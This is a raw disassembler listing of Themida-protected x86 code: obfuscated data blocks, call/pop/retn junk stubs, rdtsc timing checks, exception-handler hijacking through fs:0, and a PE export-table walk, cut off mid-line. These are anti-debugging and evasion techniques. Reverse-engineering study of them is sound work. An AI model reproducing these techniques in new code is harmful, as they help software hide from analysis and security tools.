2AC35141h, 0DCF5A4FAh, 0A878BF60h, 61F835CDh dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 52ECF5C3h, 75034A97h ; --------------------------------------------------------------------------- cmc loc_5741C1: ; CODE XREF: Themida_:00574099j add eax, [esp+28h] sub [ebp+60B3309h], ebx jmp loc_5741E0 ; --------------------------------------------------------------------------- inc edx retn 35D1h ; --------------------------------------------------------------------------- dd 0B6BCB4CDh, 0A8B36B80h, 0B84584DEh ; --------------------------------------------------------------------------- loc_5741E0: ; CODE XREF: Themida_:005741CBj mov eax, [eax+18h] mov [ebp+60B0095h], ebx inc eax push 0 push ecx call sub_5741F5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5741F5 proc near ; CODE XREF: Themida_:005741EDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5741F5 endp ; --------------------------------------------------------------------------- db 56h, 0B9h, 1Fh dd 11E9C769h, 0CB000000h, 0E6CABA60h, 88467B3Bh, 7B4077ECh dd 0D9A7FDD5h, 7CE38589h, 9589060Eh, 60B2819h, 0F6058F8h dd 0B509C6B7h, 60B2B71h, 78708B61h, 1CC683F9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8FC35242h, 3C91721Dh dd 20219D01h, 6A96060Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0DD7FC355h, 60A8C02Ch dd 31299529h, 0FE8060Bh, 2A000000h, 0FB88CB74h, 920B3403h dd 885CD333h, 0B5091B52h, 60B2B29h, 7C816158h, 2424h, 870F1000h dd 0DBh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 42C35646h, 0E60E7BC3h, 50F81067h, 61606060h, 0F615952h dd 80h, 4896100h, 0CB806024h, 0DE8166F1h, 8B61AC5Eh, 6A282444h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 6094C351h, 2A759D89h, 9E9060Bh, 77000000h dd 53D2BA18h, 0A089139Ch, 820F9061h, 0Bh, 6E9h, 9B774D00h dd 5067735Fh, 128F0Fh, 52500000h, 310F5250h, 310F585Ah dd 310F5250h, 585A585Ah, 6D9D3190h, 8D060B16h, 0E4E0F85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0A8A0D823h, 6660D0FFh, 0E95FCA81h, 1659958Bh dd 9661060Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 4C35040h, 0C7C0B122h, 7403F8B7h, 810F2424h, 6 dd 3299529h, 0BD8D060Bh, 60B242Dh, 13E9h, 0FFC73800h, 0FC0EF1C1h dd 0F9D37EBBh, 35AE768Bh, 3C648C74h, 6870Fh, 95890000h dd 60B33A5h, 51006AADh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 6E9C3DBh, 0BD000000h, 3A53F022h dd 247C818Dh, 24h, 1C870F10h, 0F000001h, 682h, 45852900h dd 0F060B19h, 0D8Ch, 9D8B6000h, 60B1965h, 9A0E1ABFh, 50506125h dd 8B666052h, 61C18BC6h, 5060310Fh, 5A310F52h, 585A6158h dd 0E9240489h, 5, 0ACCD3D6Ch, 24448B63h, 56006A28h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 2FBD90Fh, 4F5E135Bh, 90FC82B2h, 61605260h, 4254BF5Eh dd 50617893h, 0DF8B6660h, 0F028BB66h, 6A9061h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0A7A984C3h, 62AFABC5h, 6E9B821h, 0FC000000h, 0DF9D3384h dd 858DF9D3h, 60E4E0Fh, 1958B60h, 0E9060B0Eh, 0Eh, 0DEBB9C7Bh dd 6376F6B5h, 0A740732Ah, 0FF61A962h, 57006AD0h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 13E9977Ch, 58000000h, 0F694E312h, 17049A77h, 48BBC66Fh dd 11377253h, 0CE9659Dh, 69000000h, 0A69D586Fh, 87FEA92Dh dd 38E298Ch, 6A242444h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0D1EEC355h, 0B5312AA9h dd 60B06B5h, 858B60ABh, 60B0C8Dh, 6850Fh, 0BD8B0000h, 60B01D1h dd 0FA8161h, 0F000100h, 80882h, 0B5953100h, 8D060B18h dd 0B0535BDh, 0AE906h, 0D94A0000h, 4FFCA228h, 0CA5BFB00h dd 50006AADh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0AF535337h, 21BD317Ah, 89060B15h, 0B29E585h dd 0F1B58906h, 81060B30h, 24247Ch, 0F100000h, 11B87h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 14398CF7h, 810F30CAh, 1Bh, 15850Fh, 10E90000h, 3D000000h dd 0DDAF2CD2h, 0D99A4A1Ch, 30CB3C18h, 5090D789h, 138D0Fh dd 0EE90000h, 3A000000h, 343C93EBh, 6D01DDD2h, 2039C0A3h dd 24048931h, 599D29F8h, 8B060B0Fh, 6A282444h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 2470C357h, 83D46D38h, 7429224Ch, 94BF6660h, 60506108h dd 6744ABB9h, 1BBF6677h, 48961E1h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 318E0E73h dd 9C8FD90Bh, 68B0F8Fh, 9000000h, 0B187985h, 0BD296006h dd 60B28CDh, 29CD8D23h, 8D61060Bh, 0E4E0F85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 89F1080Ah, 0B09859Dh, 0F5B50906h, 0FF060B18h, 1810FD0h dd 0F8000000h, 24244403h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 51C35040h, 1840Fh, 50F50000h, 0D810Fh dd 8E90000h, 0C9000000h, 95CDFCE8h, 897DD836h, 6A2404h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0C97F56C3h, 8840Fh, 8C0F0000h, 2, 89AB6160h, 0B26E1BDh dd 89BD8D06h, 0F060B28h, 1987h, 13880F00h, 0E9000000h dd 0Eh, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h, 6AAD2781h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 335BC351h, 22ECE5CAh, 49850109h, 81060B0Fh, 28247Ch dd 0F100000h, 11687h, 359D8900h, 90060B10h, 50D88B60h dd 8A310F52h, 61585ACEh, 10E950h, 0E52F0000h, 5427693Fh dd 53DF443h, 2B8CC93Fh, 0F90AD26h, 0A8Fh, 858B6000h, 60B0CC9h dd 8B61C18Ah, 602C2444h, 3C15E381h, 50610A5Bh, 0FE9h, 0EE76CB00h dd 9B0E9CCh, 0CDDE0305h, 95E9AB4Fh, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 7E00C355h, 473B42CAh, 8947851Ah, 0B18A985h, 0F858D06h dd 6A060E4Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0EF18C353h, 0F99A94Eh, 3285h dd 11E96000h, 23000000h, 5A4ADC03h, 0B5A67541h, 51FFD74Eh dd 635000BEh, 14E8h, 86519700h, 0D089E31Dh, 75F652A5h dd 96EDDBB5h, 0CDE301FBh, 31615A82h, 0B27CD95h, 60D0FF06h dd 13599589h, 14E8060Bh, 88000000h, 694720BFh, 0D45E569Fh dd 7E4356BAh, 9C9CCEABh, 0F6E620Ah, 8Fh, 3615A00h, 6A282444h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 7996C356h, 9BF7A6C7h, 16041DFh, 0B0E698Dh dd 0AE906h, 9FE90000h, 86192DD6h, 80646015h, 5EFCAB61h dd 7CE38DFFh, 0BD83060Eh, 60E7CE3h, 330A7500h, 55B58DC0h dd 0FF060E8Ch, 81AD56E6h, 28247Ch, 77100000h, 448B500Eh dd 8D502C24h, 0E4E0F85h, 3D0FF06h, 97282444h, 858ADF8Bh dd 60E7CDFh, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h, 5449F381h dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 5E985FFh, 5DE9060Bh dd 5EFFFFFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0BDC35242h, 8154FDB0h, 0F3C6DD0h, 0A85h, 800F6000h dd 0 ; --------------------------------------------------------------------------- mov edx, eax popa stc jmp loc_574A12 ; --------------------------------------------------------------------------- sub al, 0DDh retf ; --------------------------------------------------------------------------- dd 0A964E753h, 0B62F16C7h db 0C1h, 0CAh ; --------------------------------------------------------------------------- loc_574A12: ; CODE XREF: Themida_:00574A00j pusha mov di, 0D5FDh adc di, 1AC3h popa mov eax, [ebp+60B05E9h] push 0 push edx call sub_574A2E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574A2E proc near ; CODE XREF: Themida_:00574A26p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_574A2E endp ; --------------------------------------------------------------------------- dw 13ECh ; --------------------------------------------------------------------------- sbb [ebp+ebx*8+1Bh], edi aas jmp loc_574A51 ; --------------------------------------------------------------------------- xchg eax, ebx and eax, 0A5C28E41h dec esp loc_574A51: ; CODE XREF: Themida_:00574A45j jl loc_574A6D jmp loc_574A6D ; --------------------------------------------------------------------------- dd 0A9189CEAh, 0E79B5FF3h, 88C7FBBCh, 0C42209D7h db 20h ; --------------------------------------------------------------------------- loc_574A6D: ; CODE XREF: Themida_:loc_574A51j ; Themida_:00574A57j shl eax, 1 push 0 push ebp call sub_574A7A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574A7A proc near ; CODE XREF: Themida_:00574A72p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_574A7A endp ; --------------------------------------------------------------------------- add eax, 8503BC4Ch mov [eax], ebp or eax, [esi] ja loc_574AA6 pusha mov edx, [ebp+60B0C15h] mov ebx, 4DA8D272h popa loc_574AA6: ; CODE XREF: Themida_:00574A93j sub esi, esi push 0 push ecx call sub_574AB3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574AB3 proc near ; CODE XREF: Themida_:00574AABp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_574AB3 endp ; --------------------------------------------------------------------------- db 99h dd 8544C777h, 96FC6E41h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 7DC35242h, 0AD66A7A0h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 76C35343h, 60BDD2D4h dd 8F0F52h, 5B000000h, 6880Fh, 890F0000h, 0 ; --------------------------------------------------------------------------- popa shl eax, 2 push 0 push ecx call sub_574B2F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574B2F proc near ; CODE XREF: Themida_:00574B27p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_574B2F endp ; --------------------------------------------------------------------------- db 0E9h dd 0EBC7E413h, 0F84BED4Eh, 0DD9D8960h, 0B7060B27h, 85036147h dd 60B242Dh, 0EE9BD29h, 6A96060Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E93AC357h dd 6, 0FFBA0FFEh, 0FC604D1Ah, 0DE8h, 0DBC3E200h, 0A39D2FE3h dd 0D9B45870h, 61585B62h, 51006AADh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0DF9BF7A6h dd 64FD0041h, 0BD31D84Fh, 60B01B5h, 24247C81h, 10000000h dd 119870Fh, 90FC0000h, 10E9h, 0B04D1000h, 0CEBA1C6Dh dd 0FC7B39BDh, 0E9B2D496h, 0B060502Eh, 61F08BC7h, 21952990h dd 8B060B22h, 6A282444h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 2E6FC356h, 0B0FD345Dh dd 1D8589h, 5090060Bh, 50525052h, 5A310F52h, 0E9310F58h dd 13h, 188CC815h, 0CCE8B9B9h, 5C282323h, 0F7B41ECFh, 5A6C7B49h dd 50310F58h, 0F525052h, 0F585A31h, 5A616031h, 50585A58h dd 68B0Fh, 56600000h, 615A515Ah, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0E1B1C535h dd 13E860h, 910000h, 0BB745ADh, 0F5F7B037h, 757F4CDh, 933C80D1h dd 0F9EC807Fh, 61C1B558h, 4E0F858Dh, 6A060Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 22233DC3h dd 0CCCDDD66h, 0FFF59616h, 11E9D0h, 5B980000h, 6213BFB1h dd 1EB9A71Dh, 4A02587Eh, 3DD6C00h, 29242444h, 0B1315B5h dd 24448906h, 58D091Ch, 0C6060B10h, 0B284585h, 85C70006h dd 60E7E94h, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp+60E7CE7h], 0 push 0 push esi call sub_574D29 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574D29 proc near ; CODE XREF: Themida_:00574D21p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_574D29 endp ; --------------------------------------------------------------------------- db 0F3h, 21h, 5Fh dd 3281A6B9h, 0F42C0C6h, 880h, 2810F00h, 60000000h, 0B1B50961h dd 0F8060B21h, 51006A61h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 9AADFF83h, 9D0B60FCh dd 60B1B71h, 50644EBFh, 8C26105h, 68D0F00h, 9000000h, 0B00E185h dd 2D858B06h, 6A060B24h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 407FC356h, 6CB3EFB3h dd 89B58960h, 0FC060B12h, 219D8961h, 4A060B15h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 1CC35141h, 0E9F0DEBCh dd 0Ch, 0C72D6C70h, 3106CBDAh, 0F2923833h, 68B0Fh, 0B5010000h dd 60B1A21h, 0E904D26Bh, 9, 0B9DFC346h, 89A1D326h, 0F8C203D6h dd 7E9h, 48CBB400h, 6F82B9C3h, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0E9BD89F8h dd 0E9060B22h, 10h, 5DD5DB7Dh, 9DD427E9h, 0C9A2FCAh, 7D21E180h dd 6E960ADh, 0A6000000h, 0E0DB6259h, 68B0F7Dh, 2B000000h dd 0B12F5BDh, 7C816106h, 2424h, 870F1000h, 126h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AFC35242h, 4EFE3E74h dd 0F40132CAh, 6870F8Bh, 89000000h, 0B0729B5h, 870F5006h dd 15h, 10E9h, 0B8EA6000h, 0BF795E35h, 223AE6EBh, 0ABF33557h dd 240489EDh, 12E9h, 6A46BD00h, 0C65F885Fh, 0DD5CF6ABh dd 0E49939BBh, 8B3B06E5h, 0E9282444h, 0Eh, 4AAC1E37h, 0C6AAFF8Ah dd 1D7E5D08h, 5050FE6Bh, 0D6BE6052h, 6158BFC7h, 6660310Fh dd 66C912B9h, 6132D9B9h, 489585Ah, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 2003879Bh dd 8E9101Bh, 95000000h, 0F63DD78Ch, 8DDB9E6Eh, 0E4E0F85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 92BBA041h, 39AEB283h, 0F60D7D6h, 680h, 7FC88100h dd 8B37F235h, 0B0F6195h, 0D0FF6106h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 94C35545h, 3CE9F8A0h, 0E9FFFFFDh dd 0Bh, 0B9727575h, 0C4FDA033h db 35h, 42h, 0ACh ; --------------------------------------------------------------------------- loc_574FC3: ; CODE XREF: Themida_:loc_573D8Fj lea eax, [ebp+60E9293h] push 0 push eax call sub_574FD4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574FD4 proc near ; CODE XREF: Themida_:00574FCCp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_574FD4 endp ; --------------------------------------------------------------------------- lahf adc [ecx], ah fiadd word ptr [ebx-7Ah] scasd xlat cmpsb xchg ebp, [ecx] mov ch, 61h adc [ebx], cl push es nop jmp loc_57500A ; --------------------------------------------------------------------------- dw 2419h dd 29D16E53h, 4D6B3A19h, 0F964F7E9h db 0C6h, 9Dh ; --------------------------------------------------------------------------- loc_57500A: ; CODE XREF: Themida_:00574FF5j push eax jl loc_57501F push eax push edx pusha popa rdtsc js $+6 pop edx pop eax loc_57501F: ; CODE XREF: Themida_:0057500Bj nop push 0 push esi call sub_57502B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57502B proc near ; CODE XREF: Themida_:00575023p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_57502B endp ; --------------------------------------------------------------------------- db 8Ch ; --------------------------------------------------------------------------- aas mov [ebp+60B27C5h], eax push large dword ptr fs:0 push 0 push esi call sub_575055 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_575055 proc near ; CODE XREF: Themida_:0057504Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_575055 endp ; --------------------------------------------------------------------------- movsb daa sub [edi-0A4A76CFh], eax or eax, cs:[esi] mov eax, [esp] push 0 push ebp call sub_57507E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57507E proc near ; CODE XREF: Themida_:00575076p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_57507E endp ; --------------------------------------------------------------------------- ja short near ptr loc_5750C5+7 cmp ch, dl sbb al, 0C2h wait jmp loc_5750A3 ; --------------------------------------------------------------------------- dw 0CE3Fh ; --------------------------------------------------------------------------- test al, 93h retf ; --------------------------------------------------------------------------- db 0F9h db 0D3h, 0A2h, 0C5h ; --------------------------------------------------------------------------- loc_5750A3: ; CODE XREF: Themida_:00575095j jnp loc_5750AF mov [ebp+60B3371h], ecx loc_5750AF: ; CODE XREF: Themida_:loc_5750A3j mov [ebp+60B0925h], eax push 0 push ecx call sub_5750C0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5750C0 proc near ; CODE XREF: Themida_:005750B8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx loc_5750C5: ; CODE XREF: Themida_:0057508Ej add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5750C0 endp ; --------------------------------------------------------------------------- dd 92055E29h, 0EE7E3C7Dh, 0B52B6004h, 60B18A1h, 61C28B66h dd 27619531h, 8964060Bh, 25h, 0E9952900h, 8D060B0Ah, 0E90A485h dd 49852906h, 89060B28h, 95890160h, 60B1925h, 253E9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 5399CE1Eh, 0F5958B60h, 8B060B03h, 0DB8B61C2h, 0E8h dd 0ED815D00h, 60E909Dh, 12FF9CBCh, 11BD8300h, 60B16h dd 858B1874h, 60B2EC5h, 8B0000C6h, 0B276585h, 0C606h, 2F4D95FFh dd 0FF60060Bh, 0E78EBB5h, 0EF858D06h, 50060E78h, 7AE7858Dh dd 0FF50060Eh, 0B000D95h, 0CC48306h, 0B9606061h, 22707BEEh dd 6A6161h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0B44DCCC3h, 0B58DC73Ch, 60E7AE7h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 13C35343h, 728CBA6Ah dd 60ACF80Ah, 68C0Fh, 95890000h, 60B03D5h, 61F28B66h, 18A0Fh dd 8DF50000h, 0B24BDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0C3C64727h, 7846EB5Fh dd 3E80F506h, 68840F00h, 0F000000h, 181h, 9501F900h, 60B010Dh dd 13E9A4h, 0AEA10000h, 0DDAE2E2Eh, 474BC085h, 162D95EAh dd 7C35A6F5h, 0FFCCE9D9h, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0A15158C3h, 5841E9Fh dd 8B666050h, 83F8B8FBh, 0F612DFCh, 0A86h, 5E900h, 0B7840000h dd 0B89C4530h, 0 ; --------------------------------------------------------------------------- jmp loc_5752A5 ; --------------------------------------------------------------------------- db 0FEh, 9, 0ABh dd 0A71414D3h db 0C6h ; --------------------------------------------------------------------------- loc_5752A5: ; CODE XREF: Themida_:00575298j stosb mov [ebp+60B0829h], esi mov eax, 7 pusha jmp loc_5752C7 ; --------------------------------------------------------------------------- db 65h dd 14EA64D2h, 619B11ADh, 0E9F40F58h db 28h, 0D2h, 0A9h ; --------------------------------------------------------------------------- loc_5752C7: ; CODE XREF: Themida_:005752B2j mov ax, 886Dh popa mov dword ptr [ebp+60B0C3Dh], 1 push 0 push ebp call sub_5752E1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5752E1 proc near ; CODE XREF: Themida_:005752D9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5752E1 endp ; --------------------------------------------------------------------------- xchg eax, esi pop edi add al, 3Ah sub ds:8D8DAA9Fh, cl xlat dec ebp or eax, [esi] jbe loc_57530B add [ebp+60B05D5h], ebx loc_57530B: ; CODE XREF: Themida_:005752FFj jmp ecx ; --------------------------------------------------------------------------- push 0 push ebx call sub_575318 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_575318 proc near ; CODE XREF: Themida_:00575310p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_575318 endp ; --------------------------------------------------------------------------- adc ebp, [ebx] aas mov [ebp+60B1B71h], edi xor [ebp+60B329Dh], edi mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 60E929Dh mov eax, [ebx+0B8h] mov [ebp+60E78EBh], eax lea eax, [ebp+60E9096h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- push 0 push edi call sub_57536F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57536F proc near ; CODE XREF: Themida_:00575367p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_57536F endp ; --------------------------------------------------------------------------- rcr byte ptr [esi-12h], 1 and al, 2Eh mov [ebp+60B2061h], edi push 0 push eax call sub_575395 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_575395 proc near ; CODE XREF: Themida_:0057538Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_575395 endp ; --------------------------------------------------------------------------- db 0A7h, 3, 9 dd 0B2EC995h, 0B5896006h, 60B277Dh, 2E658D09h, 6061060Bh dd 0CF858DF5h, 31060E94h, 0B33A99Dh, 8B609006h, 0B003BEFAh dd 50613C2Bh, 840F5250h, 6, 310F5250h, 310F585Ah, 0DF8B6660h dd 90585A61h, 7E9FCh, 41460000h, 0F09B3AA9h, 35FF64F2h dd 0 ; --------------------------------------------------------------------------- mov [ebp+60B1161h], esi pusha jmp loc_575413 ; --------------------------------------------------------------------------- dd 0D8210239h db 0FEh, 20h, 8Ch ; --------------------------------------------------------------------------- loc_575413: ; CODE XREF: Themida_:00575407j jmp loc_57542C ; --------------------------------------------------------------------------- dd 14127BA7h, 0F82E50D5h, 0CE496010h, 36C81FD2h, 71C47955h ; --------------------------------------------------------------------------- loc_57542C: ; CODE XREF: Themida_:loc_575413j popa mov large fs:0, esp mov [ebp+60B2181h], ebx lea eax, [ebp+60E954Fh] sub [ebp+60B011Dh], ecx xor [ebp+60B3179h], esi mov [eax+1], esp pusha sub eax, [ebp+60B0ED5h] mov [ebp+60B0789h], edi popa mov byte ptr [ebp+60B2845h], 4Fh push 0 push ebp call sub_57546F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57546F proc near ; CODE XREF: Themida_:00575467p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_57546F endp ; --------------------------------------------------------------------------- db 72h ; --------------------------------------------------------------------------- clc cld push 8EA509E4h pusha jmp loc_575493 ; --------------------------------------------------------------------------- movsb mov edx, 899F4206h loc_575493: ; CODE XREF: Themida_:00575488j mov cx, 42B5h popa add dword ptr [esp], 70236A46h push 0 push ebp call sub_5754AA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5754AA proc near ; CODE XREF: Themida_:005754A2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5754AA endp ; --------------------------------------------------------------------------- jecxz short loc_575523 pusha movzx eax, cx mov [ebp+60B2211h], edi popa stc push dword ptr [ebp+60B1355h] cmc lea eax, [ebp+60E7D18h] push 0 push esi call sub_5754E0 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5754E0 proc near ; CODE XREF: Themida_:005754D8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5754E0 endp ; --------------------------------------------------------------------------- dd 0B1621Fh, 31DC388Dh, 0B059D9Dh, 0B5896006h, 60B1A25h dd 11E8h, 638B700h, 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 58F5C0F2h dd 6AD0FF61h db 0, 55h, 0E8h ; --------------------------------------------------------------------------- loc_575523: ; CODE XREF: Themida_:005754BAj add eax, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 20h ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- pop ebp mov [esp+4], ebp add dword ptr [esp+4], 1Ah inc ebp push ebp retn ; --------------------------------------------------------------------------- xchg eax, esi fsubr qword ptr [edi+595516CDh] pusha mov eax, 5A1BE411h push eax pop esi popa add [ebp+60B010Dh], ebx jmp loc_5755F3 ; --------------------------------------------------------------------------- push 0 push ebp call sub_575560 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_575560 proc near ; CODE XREF: Themida_:00575558p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_575560 endp ; --------------------------------------------------------------------------- dd 8B5BA9F0h, 550C245Ch, 0E8h, 0ED815D00h, 60E94D9h, 0B01858Bh dd 8589060Bh, 60B1355h, 315858Bh, 8589060Bh, 60B27F5h dd 194D858Bh, 8589060Bh, 60B0701h, 284585C6h, 0C700060Bh dd 0E7E9485h, 6, 4F858D00h, 89060E95h, 0B883h, 0C0335D00h dd 3D9589C3h, 6A060B10h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0F7E8C357h, 9D85099Dh db 5, 0Bh, 6 ; --------------------------------------------------------------------------- loc_5755F3: ; CODE XREF: Themida_:00575550j mov esp, 12FF74h sub [ebp+60B0595h], eax pop large dword ptr fs:0 push 0 push esi call sub_575610 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_575610 proc near ; CODE XREF: Themida_:00575608p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_575610 endp ; --------------------------------------------------------------------------- pop edx jmp loc_575630 ; --------------------------------------------------------------------------- dw 0FFABh dd 98C2B3C5h, 0C366151h ; --------------------------------------------------------------------------- loc_575630: ; CODE XREF: Themida_:00575621j jbe loc_57563C add [ebp+60B1215h], edx loc_57563C: ; CODE XREF: Themida_:loc_575630j pusha mov bl, 96h adc esi, 6FBB46AAh popa add esp, 4 add [ebp+60B220Dh], esi popa jmp loc_5756D8 ; --------------------------------------------------------------------------- push ebx push ecx push edx push esi push edi mov ebx, [esp+1Ch] cmp word ptr [ebx], 5A4Dh jnz loc_5756D1 movzx eax, word ptr [ebx+3Ch] add ebx, eax cmp word ptr [ebx], 4550h jnz loc_5756D1 mov ebx, [ebx+78h] add ebx, [esp+1Ch] mov esi, [ebx+24h] add esi, [esp+1Ch] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [esp+20h] add esi, [esp+20h] cld or ecx, 0FFFFFFFFh loc_57569B: ; CODE XREF: 